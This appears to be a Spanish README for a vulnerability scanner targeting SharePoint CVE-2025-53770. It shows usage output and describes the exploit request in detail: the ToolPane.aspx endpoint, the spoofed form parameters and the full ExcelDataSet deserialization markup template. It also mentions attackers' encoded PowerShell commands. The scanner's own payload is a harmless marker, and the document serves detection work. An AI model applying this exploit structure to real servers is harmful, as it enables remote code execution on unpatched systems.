
Escáner para la vulnerabilidad zero day RCE CVE-2025-53770 de SharePoint.
Este es un escáner para la vulnerabilidad de ejecución remota de código no autenticada de SharePoint, asignada con el número de CVE CVE-2025-53770. El código fue escrito mediante ingeniería inversa de un payload visto en la naturaleza.
Úselo bajo su propio riesgo, no soy responsable de ningún impacto negativo que esto pueda causar.
Intenta explotar la vulnerabilidad inyectando un marcador en el widget ToolBox de SharePoint. Si en la respuesta del servidor de SharePoint se encuentra este marcador inofensivo, el host se marca como vulnerable.
# check if <TARGET-HOSTNAME> is vulnerable and try extract version information
% ./CVE-2025-53770 [<TARGET-HOSTNAME> ...]
INFO[0000] set log level fields.level=info
INFO[0000] starting scanner targets=1
INFO[0001] detected SharePoint version target=<REDACTED> version="MicrosoftSharePointTeamServices: 16.0.0.5469\n"
WARN[0001] target is vulnerable target=<REDACTED>
# turn on debug logging and try retrieving SharePoint version information
% ./CVE-2025-53770 -log=debug -version <TARGET-HOSTNAME>
...
Cualquiera que ejecute la versión on-prem del servidor de SharePoint sin KB5002768 y KB5002754.
La vulnerabilidad probablemente se basa en una vulnerabilidad previamente divulgada para SharePoint, CVE-2025-49706.
Al enviar una solicitud HTTP POST a https://<TARGET>/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx con un payload comprimido con GZIP y codificado en BASE64, se puede lograr la ejecución remota de código como el proceso de runtime de SharePoint.
Dos parámetros de formulario son importantes aquí:
MSOTlPn_Uri: Ruta de origen del controlEsto pretende hacer referencia a un control legítimo de SharePoint (AclEditor.ascx), y engaña a SharePoint para que permita la edición del elemento web.
Parece ser un valor simulado/falso solo para pasar la validación.
El payload malicioso original incluye MSOTlPn_Uri=https://<TARGET>%s/_controltemplates/15/AclEditor.ascx, pero esto no parece ser utilizado en este punto.
MSOTlPn_DWP: Configuración parcial de la web.Este parámetro inyecta directivas personalizadas de ASP.NET (<%@ Register %>) y marcado del lado del servidor (<Scorecard:ExcelDataSet>).
El parámetro CompressedDataTable contiene datos serializados controlados por el atacante (GZIP + base64), lo que desencadena el RCE.
Este payload sigue una estructura determinada:
<%@ Register Tagprefix="Scorecard" Namespace="Microsoft.PerformancePoint.Scorecards" Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>
<%@ Register Tagprefix="asp" Namespace="System.Web.UI" Assembly="System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" %>
<asp:UpdateProgress ID="UpdateProgress1" DisplayAfter="10" runat="server" AssociatedUpdatePanelID="upTest">
<ProgressTemplate>
<div class="divWaiting">
<Scorecard:ExcelDataSet CompressedDataTable="<PAYLOAD-GZIPPED-BASE64-ENCODED>" DataTable-CaseSensitive="false" runat="server"></Scorecard:ExcelDataSet>
</div>
</ProgressTemplate>
</asp:UpdateProgress>
Si existe un control como Scorecard:ExcelDataSet y se establece su propiedad CompressedDataTable, se deserializa directamente por el analizador DWP de SharePoint.
El payload en sí mismo puede ser bastante interesante, ya que puede contener un System.DelegateSerializationHolder que desencadena un RCE por deserialización.
Los actores de amenazas abusaron de esto para pasar /c powershell -EncodedCommand <POWERSHELL-PAYLOAD> en su payload para lograr la ejecución de código.
En nuestro caso, simplemente pasamos un marcador de posición estático para demostrar la explotabilidad;
<diffgr:diffgram xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1">
<foo>
<bar diffgr:id="Table" msdata:rowOrder="0" diffgr:hasChanges="inserted">
<poc xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<TestWrapper>
<Info>This is a harmless CVE-2025-53770 PoC marker.</Info>
<Timestamp>2025-07-21T14:04:52Z</Timestamp>
</TestWrapper>
</poc>
</bar>
</foo>
</diffgr:diffgram>